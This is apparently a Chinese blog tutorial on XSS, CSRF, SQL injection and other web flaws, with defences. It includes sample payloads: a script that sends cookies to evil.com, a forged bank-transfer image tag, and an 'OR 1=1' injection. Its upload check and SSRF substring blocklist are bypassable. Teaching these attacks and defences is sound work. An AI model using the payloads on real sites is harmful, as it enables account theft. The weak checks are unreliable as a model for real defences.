Web 安全必知必会:XSS、CSRF、SQL 注入的原理与防护

一、XSS(跨站脚本攻击)

原理

用户输入被当作 HTML/JS 执行。

三种类型

| 类型 | 触发方式 | 示例 | | --- | --- | --- | | 反射型 | URL 参数直接输出 | search?q= | | 存储型 | 存入数据库再展示 | 评论区、昵称 | | DOM 型 | 前端 JS 拼接 | innerHTML = location.hash |

攻击示例

HTML
<!-- 服务端未转义直接输出 -->
<div>搜索结果:<?= $_GET['q'] ?></div>

<!-- 攻击者构造 -->
http://site.com/search?q=<script>fetch('http://evil.com?c='+document.cookie)</script>

防护

PHP
// 1. 输出转义
echo htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

// 2. 富文本白名单过滤
$clean = Security::cleanHtml($html);
JavaScript
// 3. 避免 innerHTML,用 textContent
el.textContent = userInput;

// 4. CSP 响应头
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'

二、CSRF(跨站请求伪造)

原理

诱导用户访问恶意页面,以用户身份发送请求。
HTML
<!-- 恶意站点 -->
<img src="http://bank.com/transfer?to=hacker&amount=10000">

防护

PHP
// 1. CSRF Token
$_SESSION['token'] = bin2hex(random_bytes(32));
// 表单中
<input type="hidden" name="_token" value="<?= $_SESSION['token'] ?>">
// 校验
if (!hash_equals($_SESSION['token'], $_POST['_token'])) die('非法请求');
http
// 2. SameSite Cookie
Set-Cookie: session=xxx; SameSite=Strict; HttpOnly; Secure

// 3. 校验 Referer / Origin

三、SQL 注入

原理

PHP
// 危险:字符串拼接
$sql = "SELECT * FROM user WHERE id = " . $_GET['id'];
// 输入:1 OR 1=1
// 实际:SELECT * FROM user WHERE id = 1 OR 1=1

防护:预处理

PHP
// PDO 预处理
$stmt = $pdo->prepare("SELECT * FROM user WHERE id = ?");
$stmt->execute([$_GET['id']]);
Java
// MyBatis 用 #{} 而非 ${}
@Select("SELECT * FROM user WHERE id = #{id}")
User getById(Long id);

四、其他常见漏洞

文件上传

PHP
// 校验 MIME + 扩展名 + 重命名 + 禁执行权限
$allowed = ['image/jpeg', 'image/png'];
if (!in_array($_FILES['f']['type'], $allowed)) die('类型不允许');
$ext = pathinfo($_FILES['f']['name'], PATHINFO_EXTENSION);
$newName = md5(uniqid()) . '.' . $ext;

越权访问

Java
// 水平越权:必须校验资源归属
Order order = orderMapper.selectById(orderId);
if (!order.getUserId().equals(currentUser.getId())) {
    throw new ForbiddenException();
}

SSRF

Java
// 禁止请求内网地址
if (url.contains("127.0.0.1") || url.contains("10.") || url.contains("192.168.")) {
    throw new SecurityException("非法URL");
}

五、安全开发清单

  • 所有输出转义
  • 所有 SQL 用预处理
  • 所有写操作加 CSRF Token
  • Cookie 设置 HttpOnly + Secure + SameSite
  • 密码用 bcrypt/argon2 加盐哈希
  • 敏感操作二次验证
  • 接口限流与风控
  • 依赖库定期漏洞扫描
  • 打赏作者 已有 0 人打赏,共 ¥0.00
    我的打赏
    安全小白帽
    安全小白帽
    Lv6 原创 1 粉丝 2613

    Web 安全 / 渗透测试 / 代码审计

    • 1文章
    • 1.9万总阅读
    • 984获赞
    • 2613粉丝

    评论(0)

    💬

    还没有评论,来说两句吧